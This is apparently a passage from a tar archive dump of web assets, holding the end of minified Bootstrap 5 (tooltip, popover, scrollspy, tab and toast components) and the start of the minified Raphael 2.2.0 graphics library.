n)Xn(e,s)||t.removeAttribute(e.nodeName)}return n.body.innerHTML}(t,this._config.allowList,this._config.sanitizeFn):t}_resolvePossibleFunction(t){return g(t,[this])}_putElementInTemplate(t,e){if(this._config.html)return e.innerHTML="",void e.append(t);e.textContent=t.textContent}}const Zn=new Set(["sanitize","allowList","sanitizeFn"]),ts="fade",es="show",is=".modal",ns="hide.bs.modal",ss="hover",os="focus",rs={AUTO:"auto",TOP:"top",RIGHT:p()?"left":"right",BOTTOM:"bottom",LEFT:p()?"right":"left"},as={allowList:Vn,animation:!0,boundary:"clippingParents",container:!1,customClass:"",delay:0,fallbackPlacements:["top","right","bottom","left"],html:!1,offset:[0,6],placement:"top",popperConfig:null,sanitize:!0,sanitizeFn:null,selector:!1,template:'<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',title:"",trigger:"hover focus"},ls={allowList:"object",animation:"boolean",boundary:"(string|element)",container:"(string|element|boolean)",customClass:"(string|function)",delay:"(number|object)",fallbackPlacements:"array",html:"boolean",offset:"(array|string|function)",placement:"(string|function)",popperConfig:"(null|object|function)",sanitize:"boolean",sanitizeFn:"(null|function)",selector:"(string|boolean)",template:"string",title:"(string|element|function)",trigger:"string"};class cs extends W{constructor(t,e){if(void 0===vi)throw new TypeError("Bootstrap's tooltips require Popper (https://popper.js.org)");super(t,e),this._isEnabled=!0,this._timeout=0,this._isHovered=null,this._activeTrigger={},this._popper=null,this._templateFactory=null,this._newContent=null,this.tip=null,this._setListeners(),this._config.selector||this._fixTitle()}static get Default(){return as}static get DefaultType(){return ls}static get NAME(){return"tooltip"}enable(){this._isEnabled=!0}disable(){this._isEnabled=!1}toggleEnabled(){this._isEnabled=!this._isEnabled}toggle(){this._isEnabled&&(this._activeTrigger.click=!this._activeTrigger.click,this._isShown()?this._leave():this._enter())}dispose(){clearTimeout(this._timeout),N.off(this._element.closest(is),ns,this._hideModalHandler),this._element.getAttribute("data-bs-original-title")&&this._element.setAttribute("title",this._element.getAttribute("data-bs-original-title")),this._disposePopper(),super.dispose()}show(){if("none"===this._element.style.display)throw new Error("Please use show on visible elements");if(!this._isWithContent()||!this._isEnabled)return;const t=N.trigger(this._element,this.constructor.eventName("show")),e=(c(this._element)||this._element.ownerDocument.documentElement).contains(this._element);if(t.defaultPrevented||!e)return;this._disposePopper();const i=this._getTipElement();this._element.setAttribute("aria-describedby",i.getAttribute("id"));const{container:n}=this._config;if(this._element.ownerDocument.documentElement.contains(this.tip)||(n.append(i),N.trigger(this._element,this.constructor.eventName("inserted"))),this._popper=this._createPopper(i),i.classList.add(es),"ontouchstart"in document.documentElement)for(const t of[].concat(...document.body.children))N.on(t,"mouseover",h);this._queueCallback((()=>{N.trigger(this._element,this.constructor.eventName("shown")),!1===this._isHovered&&this._leave(),this._isHovered=!1}),this.tip,this._isAnimated())}hide(){if(this._isShown()&&!N.trigger(this._element,this.constructor.eventName("hide")).defaultPrevented){if(this._getTipElement().classList.remove(es),"ontouchstart"in document.documentElement)for(const t of[].concat(...document.body.children))N.off(t,"mouseover",h);this._activeTrigger.click=!1,this._activeTrigger[os]=!1,this._activeTrigger[ss]=!1,this._isHovered=null,this._queueCallback((()=>{this._isWithActiveTrigger()||(this._isHovered||this._disposePopper(),this._element.removeAttribute("aria-describedby"),N.trigger(this._element,this.constructor.eventName("hidden")))}),this.tip,this._isAnimated())}}update(){this._popper&&this._popper.update()}_isWithContent(){return Boolean(this._getTitle())}_getTipElement(){return this.tip||(this.tip=this._createTipElement(this._newContent||this._getContentForTemplate())),this.tip}_createTipElement(t){const e=this._getTemplateFactory(t).toHtml();if(!e)return null;e.classList.remove(ts,es),e.classList.add(`bs-${this.constructor.NAME}-auto`);const i=(t=>{do{t+=Math.floor(1e6*Math.random())}while(document.getElementById(t));return t})(this.constructor.NAME).toString();return e.setAttribute("id",i),this._isAnimated()&&e.classList.add(ts),e}setContent(t){this._newContent=t,this._isShown()&&(this._disposePopper(),this.show())}_getTemplateFactory(t){return this._templateFactory?this._templateFactory.changeContent(t):this._templateFactory=new Jn({...this._config,content:t,extraClass:this._resolvePossibleFunction(this._config.customClass)}),this._templateFactory}_getContentForTemplate(){return{".tooltip-inner":this._getTitle()}}_getTitle(){return this._resolvePossibleFunction(this._config.title)||this._element.getAttribute("data-bs-original-title")}_initializeOnDelegatedTarget(t){return this.constructor.getOrCreateInstance(t.delegateTarget,this._getDelegateConfig())}_isAnimated(){return this._config.animation||this.tip&&this.tip.classList.contains(ts)}_isShown(){return this.tip&&this.tip.classList.contains(es)}_createPopper(t){const e=g(this._config.placement,[this,t,this._element]),i=rs[e.toUpperCase()];return bi(this._element,t,this._getPopperConfig(i))}_getOffset(){const{offset:t}=this._config;return"string"==typeof t?t.split(",").map((t=>Number.parseInt(t,10))):"function"==typeof t?e=>t(e,this._element):t}_resolvePossibleFunction(t){return g(t,[this._element])}_getPopperConfig(t){const e={placement:t,modifiers:[{name:"flip",options:{fallbackPlacements:this._config.fallbackPlacements}},{name:"offset",options:{offset:this._getOffset()}},{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"arrow",options:{element:`.${this.constructor.NAME}-arrow`}},{name:"preSetPlacement",enabled:!0,phase:"beforeMain",fn:t=>{this._getTipElement().setAttribute("data-popper-placement",t.state.placement)}}]};return{...e,...g(this._config.popperConfig,[e])}}_setListeners(){const t=this._config.trigger.split(" ");for(const e of t)if("click"===e)N.on(this._element,this.constructor.eventName("click"),this._config.selector,(t=>{this._initializeOnDelegatedTarget(t).toggle()}));else if("manual"!==e){const t=e===ss?this.constructor.eventName("mouseenter"):this.constructor.eventName("focusin"),i=e===ss?this.constructor.eventName("mouseleave"):this.constructor.eventName("focusout");N.on(this._element,t,this._config.selector,(t=>{const e=this._initializeOnDelegatedTarget(t);e._activeTrigger["focusin"===t.type?os:ss]=!0,e._enter()})),N.on(this._element,i,this._config.selector,(t=>{const e=this._initializeOnDelegatedTarget(t);e._activeTrigger["focusout"===t.type?os:ss]=e._element.contains(t.relatedTarget),e._leave()}))}this._hideModalHandler=()=>{this._element&&this.hide()},N.on(this._element.closest(is),ns,this._hideModalHandler)}_fixTitle(){const t=this._element.getAttribute("title");t&&(this._element.getAttribute("aria-label")||this._element.textContent.trim()||this._element.setAttribute("aria-label",t),this._element.setAttribute("data-bs-original-title",t),this._element.removeAttribute("title"))}_enter(){this._isShown()||this._isHovered?this._isHovered=!0:(this._isHovered=!0,this._setTimeout((()=>{this._isHovered&&this.show()}),this._config.delay.show))}_leave(){this._isWithActiveTrigger()||(this._isHovered=!1,this._setTimeout((()=>{this._isHovered||this.hide()}),this._config.delay.hide))}_setTimeout(t,e){clearTimeout(this._timeout),this._timeout=setTimeout(t,e)}_isWithActiveTrigger(){return Object.values(this._activeTrigger).includes(!0)}_getConfig(t){const e=F.getDataAttributes(this._element);for(const t of Object.keys(e))Zn.has(t)&&delete e[t];return t={...e,..."object"==typeof t&&t?t:{}},t=this._mergeConfigObj(t),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}_configAfterMerge(t){return t.container=!1===t.container?document.body:r(t.container),"number"==typeof t.delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),t}_getDelegateConfig(){const t={};for(const[e,i]of Object.entries(this._config))this.constructor.Default[e]!==i&&(t[e]=i);return t.selector=!1,t.trigger="manual",t}_disposePopper(){this._popper&&(this._popper.destroy(),this._popper=null),this.tip&&(this.tip.remove(),this.tip=null)}static jQueryInterface(t){return this.each((function(){const e=cs.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}m(cs);const hs={...cs.Default,content:"",offset:[0,8],placement:"right",template:'<div class="popover" role="tooltip"><div class="popover-arrow"></div><h3 class="popover-header"></h3><div class="popover-body"></div></div>',trigger:"click"},ds={...cs.DefaultType,content:"(null|string|element|function)"};class us extends cs{static get Default(){return hs}static get DefaultType(){return ds}static get NAME(){return"popover"}_isWithContent(){return this._getTitle()||this._getContent()}_getContentForTemplate(){return{".popover-header":this._getTitle(),".popover-body":this._getContent()}}_getContent(){return this._resolvePossibleFunction(this._config.content)}static jQueryInterface(t){return this.each((function(){const e=us.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}m(us);const fs=".bs.scrollspy",ps=`activate${fs}`,ms=`click${fs}`,gs=`load${fs}.data-api`,_s="active",bs="[href]",vs=".nav-link",ys=`${vs}, .nav-item > ${vs}, .list-group-item`,ws={offset:null,rootMargin:"0px 0px -25%",smoothScroll:!1,target:null,threshold:[.1,.5,1]},As={offset:"(number|null)",rootMargin:"string",smoothScroll:"boolean",target:"element",threshold:"array"};class Es extends W{constructor(t,e){super(t,e),this._targetLinks=new Map,this._observableSections=new Map,this._rootElement="visible"===getComputedStyle(this._element).overflowY?null:this._element,this._activeTarget=null,this._observer=null,this._previousScrollData={visibleEntryTop:0,parentScrollTop:0},this.refresh()}static get Default(){return ws}static get DefaultType(){return As}static get NAME(){return"scrollspy"}refresh(){this._initializeTargetsAndObservables(),this._maybeEnableSmoothScroll(),this._observer?this._observer.disconnect():this._observer=this._getNewObserver();for(const t of this._observableSections.values())this._observer.observe(t)}dispose(){this._observer.disconnect(),super.dispose()}_configAfterMerge(t){return t.target=r(t.target)||document.body,t.rootMargin=t.offset?`${t.offset}px 0px -30%`:t.rootMargin,"string"==typeof t.threshold&&(t.threshold=t.threshold.split(",").map((t=>Number.parseFloat(t)))),t}_maybeEnableSmoothScroll(){this._config.smoothScroll&&(N.off(this._config.target,ms),N.on(this._config.target,ms,bs,(t=>{const e=this._observableSections.get(t.target.hash);if(e){t.preventDefault();const i=this._rootElement||window,n=e.offsetTop-this._element.offsetTop;if(i.scrollTo)return void i.scrollTo({top:n,behavior:"smooth"});i.scrollTop=n}})))}_getNewObserver(){const t={root:this._rootElement,threshold:this._config.threshold,rootMargin:this._config.rootMargin};return new IntersectionObserver((t=>this._observerCallback(t)),t)}_observerCallback(t){const e=t=>this._targetLinks.get(`#${t.target.id}`),i=t=>{this._previousScrollData.visibleEntryTop=t.target.offsetTop,this._process(e(t))},n=(this._rootElement||document.documentElement).scrollTop,s=n>=this._previousScrollData.parentScrollTop;this._previousScrollData.parentScrollTop=n;for(const o of t){if(!o.isIntersecting){this._activeTarget=null,this._clearActiveClass(e(o));continue}const t=o.target.offsetTop>=this._previousScrollData.visibleEntryTop;if(s&&t){if(i(o),!n)return}else s||t||i(o)}}_initializeTargetsAndObservables(){this._targetLinks=new Map,this._observableSections=new Map;const t=z.find(bs,this._config.target);for(const e of t){if(!e.hash||l(e))continue;const t=z.findOne(decodeURI(e.hash),this._element);a(t)&&(this._targetLinks.set(decodeURI(e.hash),e),this._observableSections.set(e.hash,t))}}_process(t){this._activeTarget!==t&&(this._clearActiveClass(this._config.target),this._activeTarget=t,t.classList.add(_s),this._activateParents(t),N.trigger(this._element,ps,{relatedTarget:t}))}_activateParents(t){if(t.classList.contains("dropdown-item"))z.findOne(".dropdown-toggle",t.closest(".dropdown")).classList.add(_s);else for(const e of z.parents(t,".nav, .list-group"))for(const t of z.prev(e,ys))t.classList.add(_s)}_clearActiveClass(t){t.classList.remove(_s);const e=z.find(`${bs}.${_s}`,t);for(const t of e)t.classList.remove(_s)}static jQueryInterface(t){return this.each((function(){const e=Es.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t]()}}))}}N.on(window,gs,(()=>{for(const t of z.find('[data-bs-spy="scroll"]'))Es.getOrCreateInstance(t)})),m(Es);const Ts=".bs.tab",Cs=`hide${Ts}`,Os=`hidden${Ts}`,xs=`show${Ts}`,ks=`shown${Ts}`,Ls=`click${Ts}`,Ss=`keydown${Ts}`,Ds=`load${Ts}`,$s="ArrowLeft",Is="ArrowRight",Ns="ArrowUp",Ps="ArrowDown",js="Home",Ms="End",Fs="active",Hs="fade",Ws="show",Bs=".dropdown-toggle",zs=`:not(${Bs})`,Rs='[data-bs-toggle="tab"], [data-bs-toggle="pill"], [data-bs-toggle="list"]',qs=`.nav-link${zs}, .list-group-item${zs}, [role="tab"]${zs}, ${Rs}`,Vs=`.${Fs}[data-bs-toggle="tab"], .${Fs}[data-bs-toggle="pill"], .${Fs}[data-bs-toggle="list"]`;class Ks extends W{constructor(t){super(t),this._parent=this._element.closest('.list-group, .nav, [role="tablist"]'),this._parent&&(this._setInitialAttributes(this._parent,this._getChildren()),N.on(this._element,Ss,(t=>this._keydown(t))))}static get NAME(){return"tab"}show(){const t=this._element;if(this._elemIsActive(t))return;const e=this._getActiveElem(),i=e?N.trigger(e,Cs,{relatedTarget:t}):null;N.trigger(t,xs,{relatedTarget:e}).defaultPrevented||i&&i.defaultPrevented||(this._deactivate(e,t),this._activate(t,e))}_activate(t,e){t&&(t.classList.add(Fs),this._activate(z.getElementFromSelector(t)),this._queueCallback((()=>{"tab"===t.getAttribute("role")?(t.removeAttribute("tabindex"),t.setAttribute("aria-selected",!0),this._toggleDropDown(t,!0),N.trigger(t,ks,{relatedTarget:e})):t.classList.add(Ws)}),t,t.classList.contains(Hs)))}_deactivate(t,e){t&&(t.classList.remove(Fs),t.blur(),this._deactivate(z.getElementFromSelector(t)),this._queueCallback((()=>{"tab"===t.getAttribute("role")?(t.setAttribute("aria-selected",!1),t.setAttribute("tabindex","-1"),this._toggleDropDown(t,!1),N.trigger(t,Os,{relatedTarget:e})):t.classList.remove(Ws)}),t,t.classList.contains(Hs)))}_keydown(t){if(![$s,Is,Ns,Ps,js,Ms].includes(t.key))return;t.stopPropagation(),t.preventDefault();const e=this._getChildren().filter((t=>!l(t)));let i;if([js,Ms].includes(t.key))i=e[t.key===js?0:e.length-1];else{const n=[Is,Ps].includes(t.key);i=b(e,t.target,n,!0)}i&&(i.focus({preventScroll:!0}),Ks.getOrCreateInstance(i).show())}_getChildren(){return z.find(qs,this._parent)}_getActiveElem(){return this._getChildren().find((t=>this._elemIsActive(t)))||null}_setInitialAttributes(t,e){this._setAttributeIfNotExists(t,"role","tablist");for(const t of e)this._setInitialAttributesOnChild(t)}_setInitialAttributesOnChild(t){t=this._getInnerElement(t);const e=this._elemIsActive(t),i=this._getOuterElement(t);t.setAttribute("aria-selected",e),i!==t&&this._setAttributeIfNotExists(i,"role","presentation"),e||t.setAttribute("tabindex","-1"),this._setAttributeIfNotExists(t,"role","tab"),this._setInitialAttributesOnTargetPanel(t)}_setInitialAttributesOnTargetPanel(t){const e=z.getElementFromSelector(t);e&&(this._setAttributeIfNotExists(e,"role","tabpanel"),t.id&&this._setAttributeIfNotExists(e,"aria-labelledby",`${t.id}`))}_toggleDropDown(t,e){const i=this._getOuterElement(t);if(!i.classList.contains("dropdown"))return;const n=(t,n)=>{const s=z.findOne(t,i);s&&s.classList.toggle(n,e)};n(Bs,Fs),n(".dropdown-menu",Ws),i.setAttribute("aria-expanded",e)}_setAttributeIfNotExists(t,e,i){t.hasAttribute(e)||t.setAttribute(e,i)}_elemIsActive(t){return t.classList.contains(Fs)}_getInnerElement(t){return t.matches(qs)?t:z.findOne(qs,t)}_getOuterElement(t){return t.closest(".nav-item, .list-group-item")||t}static jQueryInterface(t){return this.each((function(){const e=Ks.getOrCreateInstance(this);if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t]()}}))}}N.on(document,Ls,Rs,(function(t){["A","AREA"].includes(this.tagName)&&t.preventDefault(),l(this)||Ks.getOrCreateInstance(this).show()})),N.on(window,Ds,(()=>{for(const t of z.find(Vs))Ks.getOrCreateInstance(t)})),m(Ks);const Qs=".bs.toast",Xs=`mouseover${Qs}`,Ys=`mouseout${Qs}`,Us=`focusin${Qs}`,Gs=`focusout${Qs}`,Js=`hide${Qs}`,Zs=`hidden${Qs}`,to=`show${Qs}`,eo=`shown${Qs}`,io="hide",no="show",so="showing",oo={animation:"boolean",autohide:"boolean",delay:"number"},ro={animation:!0,autohide:!0,delay:5e3};class ao extends W{constructor(t,e){super(t,e),this._timeout=null,this._hasMouseInteraction=!1,this._hasKeyboardInteraction=!1,this._setListeners()}static get Default(){return ro}static get DefaultType(){return oo}static get NAME(){return"toast"}show(){N.trigger(this._element,to).defaultPrevented||(this._clearTimeout(),this._config.animation&&this._element.classList.add("fade"),this._element.classList.remove(io),d(this._element),this._element.classList.add(no,so),this._queueCallback((()=>{this._element.classList.remove(so),N.trigger(this._element,eo),this._maybeScheduleHide()}),this._element,this._config.animation))}hide(){this.isShown()&&(N.trigger(this._element,Js).defaultPrevented||(this._element.classList.add(so),this._queueCallback((()=>{this._element.classList.add(io),this._element.classList.remove(so,no),N.trigger(this._element,Zs)}),this._element,this._config.animation)))}dispose(){this._clearTimeout(),this.isShown()&&this._element.classList.remove(no),super.dispose()}isShown(){return this._element.classList.contains(no)}_maybeScheduleHide(){this._config.autohide&&(this._hasMouseInteraction||this._hasKeyboardInteraction||(this._timeout=setTimeout((()=>{this.hide()}),this._config.delay)))}_onInteraction(t,e){switch(t.type){case"mouseover":case"mouseout":this._hasMouseInteraction=e;break;case"focusin":case"focusout":this._hasKeyboardInteraction=e}if(e)return void this._clearTimeout();const i=t.relatedTarget;this._element===i||this._element.contains(i)||this._maybeScheduleHide()}_setListeners(){N.on(this._element,Xs,(t=>this._onInteraction(t,!0))),N.on(this._element,Ys,(t=>this._onInteraction(t,!1))),N.on(this._element,Us,(t=>this._onInteraction(t,!0))),N.on(this._element,Gs,(t=>this._onInteraction(t,!1)))}_clearTimeout(){clearTimeout(this._timeout),this._timeout=null}static jQueryInterface(t){return this.each((function(){const e=ao.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}return R(ao),m(ao),{Alert:Q,Button:Y,Carousel:xt,Collapse:Bt,Dropdown:qi,Modal:On,Offcanvas:qn,Popover:us,ScrollSpy:Es,Tab:Ks,Toast:ao,Tooltip:cs}}));js/raphael.min.js000066600000266103151150443030007724 0ustar00!function t(e,r){"object"==typeof exports&&"object"==typeof module?module.exports=r():"function"==typeof define&&define.amd?define([],r):"object"==typeof exports?exports.Raphael=r():e.Raphael=r()}(this,function(){return function(t){function e(i){if(r[i])return r[i].exports;var n=r[i]={exports:{},id:i,loaded:!1};return t[i].call(n.exports,n,n.exports,e),n.loaded=!0,n.exports}var r={};return e.m=t,e.c=r,e.p="",e(0)}([function(t,e,r){var i,n;i=[r(1),r(3),r(4)],n=function(t){return t}.apply(e,i),!(void 0!==n&&(t.exports=n))},function(t,e,r){var i,n;i=[r(2)],n=function(t){function e(r){if(e.is(r,"function"))return w?r():t.on("raphael.DOMload",r);if(e.is(r,Q))return e._engine.create[z](e,r.splice(0,3+e.is(r[0],$))).add(r);var i=Array.prototype.slice.call(arguments,0);if(e.is(i[i.length-1],"function")){var n=i.pop();return w?n.call(e._engine.create[z](e,i)):t.on("raphael.DOMload",function(){n.call(e._engine.create[z](e,i))})}return e._engine.create[z](e,arguments)}function r(t){if("function"==typeof t||Object(t)!==t)return t;var e=new t.constructor;for(var i in t)t[A](i)&&(e[i]=r(t[i]));return e}function i(t,e){for(var r=0,i=t.length;r<i;r++)if(t[r]===e)return t.push(t.splice(r,1)[0])}function n(t,e,r){function n(){var a=Array.prototype.slice.call(arguments,0),s=a.join("␀"),o=n.cache=n.cache||{},l=n.count=n.count||[];return o[A](s)?(i(l,s),r?r(o[s]):o[s]):(l.length>=1e3&&delete o[l.shift()],l.push(s),o[s]=t[z](e,a),r?r(o[s]):o[s])}return n}function a(){return this.hex}function s(t,e){for(var r=[],i=0,n=t.length;n-2*!e>i;i+=2){var a=[{x:+t[i-2],y:+t[i-1]},{x:+t[i],y:+t[i+1]},{x:+t[i+2],y:+t[i+3]},{x:+t[i+4],y:+t[i+5]}];e?i?n-4==i?a[3]={x:+t[0],y:+t[1]}:n-2==i&&(a[2]={x:+t[0],y:+t[1]},a[3]={x:+t[2],y:+t[3]}):a[0]={x:+t[n-2],y:+t[n-1]}:n-4==i?a[3]=a[2]:i||(a[0]={x:+t[i],y:+t[i+1]}),r.push(["C",(-a[0].x+6*a[1].x+a[2].x)/6,(-a[0].y+6*a[1].y+a[2].y)/6,(a[1].x+6*a[2].x-a[3].x)/6,(a[1].y+6*a[2].y-a[3].y)/6,a[2].x,a[2].y])}return r}function o(t,e,r,i,n){var a=-3*e+9*r-9*i+3*n,s=t*a+6*e-12*r+6*i;return t*s-3*e+3*r}function l(t,e,r,i,n,a,s,l,h){null==h&&(h=1),h=h>1?1:h<0?0:h;for(var u=h/2,c=12,f=[-.1252,.1252,-.3678,.3678,-.5873,.5873,-.7699,.7699,-.9041,.9041,-.9816,.9816],p=[.2491,.2491,.2335,.2335,.2032,.2032,.1601,.1601,.1069,.1069,.0472,.0472],d=0,g=0;g<c;g++){var v=u*f[g]+u,x=o(v,t,r,n,s),y=o(v,e,i,a,l),m=x*x+y*y;d+=p[g]*Y.sqrt(m)}return u*d}function h(t,e,r,i,n,a,s,o,h){if(!(h<0||l(t,e,r,i,n,a,s,o)<h)){var u=1,c=u/2,f=u-c,p,d=.01;for(p=l(t,e,r,i,n,a,s,o,f);H(p-h)>d;)c/=2,f+=(p<h?1:-1)*c,p=l(t,e,r,i,n,a,s,o,f);return f}}function u(t,e,r,i,n,a,s,o){if(!(W(t,r)<G(n,s)||G(t,r)>W(n,s)||W(e,i)<G(a,o)||G(e,i)>W(a,o))){var l=(t*i-e*r)*(n-s)-(t-r)*(n*o-a*s),h=(t*i-e*r)*(a-o)-(e-i)*(n*o-a*s),u=(t-r)*(a-o)-(e-i)*(n-s);if(u){var c=l/u,f=h/u,p=+c.toFixed(2),d=+f.toFixed(2);if(!(p<+G(t,r).toFixed(2)||p>+W(t,r).toFixed(2)||p<+G(n,s).toFixed(2)||p>+W(n,s).toFixed(2)||d<+G(e,i).toFixed(2)||d>+W(e,i).toFixed(2)||d<+G(a,o).toFixed(2)||d>+W(a,o).toFixed(2)))return{x:c,y:f}}}}function c(t,e){return p(t,e)}function f(t,e){return p(t,e,1)}function p(t,r,i){var n=e.bezierBBox(t),a=e.bezierBBox(r);if(!e.isBBoxIntersect(n,a))return i?0:[];for(var s=l.apply(0,t),o=l.apply(0,r),h=W(~~(s/5),1),c=W(~~(o/5),1),f=[],p=[],d={},g=i?0:[],v=0;v<h+1;v++){var x=e.findDotsAtSegment.apply(e,t.concat(v/h));f.push({x:x.x,y:x.y,t:v/h})}for(v=0;v<c+1;v++)x=e.findDotsAtSegment.apply(e,r.concat(v/c)),p.push({x:x.x,y:x.y,t:v/c});for(v=0;v<h;v++)for(var y=0;y<c;y++){var m=f[v],b=f[v+1],_=p[y],w=p[y+1],k=H(b.x-m.x)<.001?"y":"x",B=H(w.x-_.x)<.001?"y":"x",C=u(m.x,m.y,b.x,b.y,_.x,_.y,w.x,w.y);if(C){if(d[C.x.toFixed(4)]==C.y.toFixed(4))continue;d[C.x.toFixed(4)]=C.y.toFixed(4);var S=m.t+H((C[k]-m[k])/(b[k]-m[k]))*(b.t-m.t),A=_.t+H((C[B]-_[B])/(w[B]-_[B]))*(w.t-_.t);S>=0&&S<=1.001&&A>=0&&A<=1.001&&(i?g++:g.push({x:C.x,y:C.y,t1:G(S,1),t2:G(A,1)}))}}return g}function d(t,r,i){t=e._path2curve(t),r=e._path2curve(r);for(var n,a,s,o,l,h,u,c,f,d,g=i?0:[],v=0,x=t.length;v<x;v++){var y=t[v];if("M"==y[0])n=l=y[1],a=h=y[2];else{"C"==y[0]?(f=[n,a].concat(y.slice(1)),n=f[6],a=f[7]):(f=[n,a,n,a,l,h,l,h],n=l,a=h);for(var m=0,b=r.length;m<b;m++){var _=r[m];if("M"==_[0])s=u=_[1],o=c=_[2];else{"C"==_[0]?(d=[s,o].concat(_.slice(1)),s=d[6],o=d[7]):(d=[s,o,s,o,u,c,u,c],s=u,o=c);var w=p(f,d,i);if(i)g+=w;else{for(var k=0,B=w.length;k<B;k++)w[k].segment1=v,w[k].segment2=m,w[k].bez1=f,w[k].bez2=d;g=g.concat(w)}}}}}return g}function g(t,e,r,i,n,a){null!=t?(this.a=+t,this.b=+e,this.c=+r,this.d=+i,this.e=+n,this.f=+a):(this.a=1,this.b=0,this.c=0,this.d=1,this.e=0,this.f=0)}function v(){return this.x+j+this.y}function x(){return this.x+j+this.y+j+this.width+" × "+this.height}function y(t,e,r,i,n,a){function s(t){return((c*t+u)*t+h)*t}function o(t,e){var r=l(t,e);return((d*r+p)*r+f)*r}function l(t,e){var r,i,n,a,o,l;for(n=t,l=0;l<8;l++){if(a=s(n)-t,H(a)<e)return n;if(o=(3*c*n+2*u)*n+h,H(o)<1e-6)break;n-=a/o}if(r=0,i=1,n=t,n<r)return r;if(n>i)return i;for(;r<i;){if(a=s(n),H(a-t)<e)return n;t>a?r=n:i=n,n=(i-r)/2+r}return n}var h=3*e,u=3*(i-e)-h,c=1-h-u,f=3*r,p=3*(n-r)-f,d=1-f-p;return o(t,1/(200*a))}function m(t,e){var r=[],i={};if(this.ms=e,this.times=1,t){for(var n in t)t[A](n)&&(i[ht(n)]=t[n],r.push(ht(n)));r.sort(Bt)}this.anim=i,this.top=r[r.length-1],this.percents=r}function b(r,i,n,a,s,o){n=ht(n);var l,h,u,c=[],f,p,d,v=r.ms,x={},m={},b={};if(a)for(w=0,B=Ee.length;w<B;w++){var _=Ee[w];if(_.el.id==i.id&&_.anim==r){_.percent!=n?(Ee.splice(w,1),u=1):h=_,i.attr(_.totalOrigin);break}}else a=+m;for(var w=0,B=r.percents.length;w<B;w++){if(r.percents[w]==n||r.percents[w]>a*r.top){n=r.percents[w],p=r.percents[w-1]||0,v=v/r.top*(n-p),f=r.percents[w+1],l=r.anim[n];break}a&&i.attr(r.anim[r.percents[w]])}if(l){if(h)h.initstatus=a,h.start=new Date-h.ms*a;else{for(var C in l)if(l[A](C)&&(pt[A](C)||i.paper.customAttributes[A](C)))switch(x[C]=i.attr(C),null==x[C]&&(x[C]=ft[C]),m[C]=l[C],pt[C]){case $:b[C]=(m[C]-x[C])/v;break;case"colour":x[C]=e.getRGB(x[C]);var S=e.getRGB(m[C]);b[C]={r:(S.r-x[C].r)/v,g:(S.g-x[C].g)/v,b:(S.b-x[C].b)/v};break;case"path":var T=Qt(x[C],m[C]),E=T[1];for(x[C]=T[0],b[C]=[],w=0,B=x[C].length;w<B;w++){b[C][w]=[0];for(var M=1,N=x[C][w].length;M<N;M++)b[C][w][M]=(E[w][M]-x[C][w][M])/v}break;case"transform":var L=i._,z=le(L[C],m[C]);if(z)for(x[C]=z.from,m[C]=z.to,b[C]=[],b[C].real=!0,w=0,B=x[C].length;w<B;w++)for(b[C][w]=[x[C][w][0]],M=1,N=x[C][w].length;M<N;M++)b[C][w][M]=(m[C][w][M]-x[C][w][M])/v;else{var F=i.matrix||new g,R={_:{transform:L.transform},getBBox:function(){return i.getBBox(1)}};x[C]=[F.a,F.b,F.c,F.d,F.e,F.f],se(R,m[C]),m[C]=R._.transform,b[C]=[(R.matrix.a-F.a)/v,(R.matrix.b-F.b)/v,(R.matrix.c-F.c)/v,(R.matrix.d-F.d)/v,(R.matrix.e-F.e)/v,(R.matrix.f-F.f)/v]}break;case"csv":var j=I(l[C])[q](k),D=I(x[C])[q](k);if("clip-rect"==C)for(x[C]=D,b[C]=[],w=D.length;w--;)b[C][w]=(j[w]-x[C][w])/v;m[C]=j;break;default:for(j=[][P](l[C]),D=[][P](x[C]),b[C]=[],w=i.paper.customAttributes[C].length;w--;)b[C][w]=((j[w]||0)-(D[w]||0))/v}var V=l.easing,O=e.easing_formulas[V];if(!O)if(O=I(V).match(st),O&&5==O.length){var Y=O;O=function(t){return y(t,+Y[1],+Y[2],+Y[3],+Y[4],v)}}else O=St;if(d=l.start||r.start||+new Date,_={anim:r,percent:n,timestamp:d,start:d+(r.del||0),status:0,initstatus:a||0,stop:!1,ms:v,easing:O,from:x,diff:b,to:m,el:i,callback:l.callback,prev:p,next:f,repeat:o||r.times,origin:i.attr(),totalOrigin:s},Ee.push(_),a&&!h&&!u&&(_.stop=!0,_.start=new Date-v*a,1==Ee.length))return Ne();u&&(_.start=new Date-_.ms*a),1==Ee.length&&Me(Ne)}t("raphael.anim.start."+i.id,i,r)}}function _(t){for(var e=0;e<Ee.length;e++)Ee[e].el.paper==t&&Ee.splice(e--,1)}e.version="2.2.0",e.eve=t;var w,k=/[, ]+/,B={circle:1,rect:1,path:1,ellipse:1,text:1,image:1},C=/\{(\d+)\}/g,S="prototype",A="hasOwnProperty",T={doc:document,win:window},E={was:Object.prototype[A].call(T.win,"Raphael"),is:T.win.Raphael},M=function(){this.ca=this.customAttributes={}},N,L="appendChild",z="apply",P="concat",F="ontouchstart"in T.win||T.win.DocumentTouch&&T.doc instanceof DocumentTouch,R="",j=" ",I=String,q="split",D="click dblclick mousedown mousemove mouseout mouseover mouseup touchstart touchmove touchend 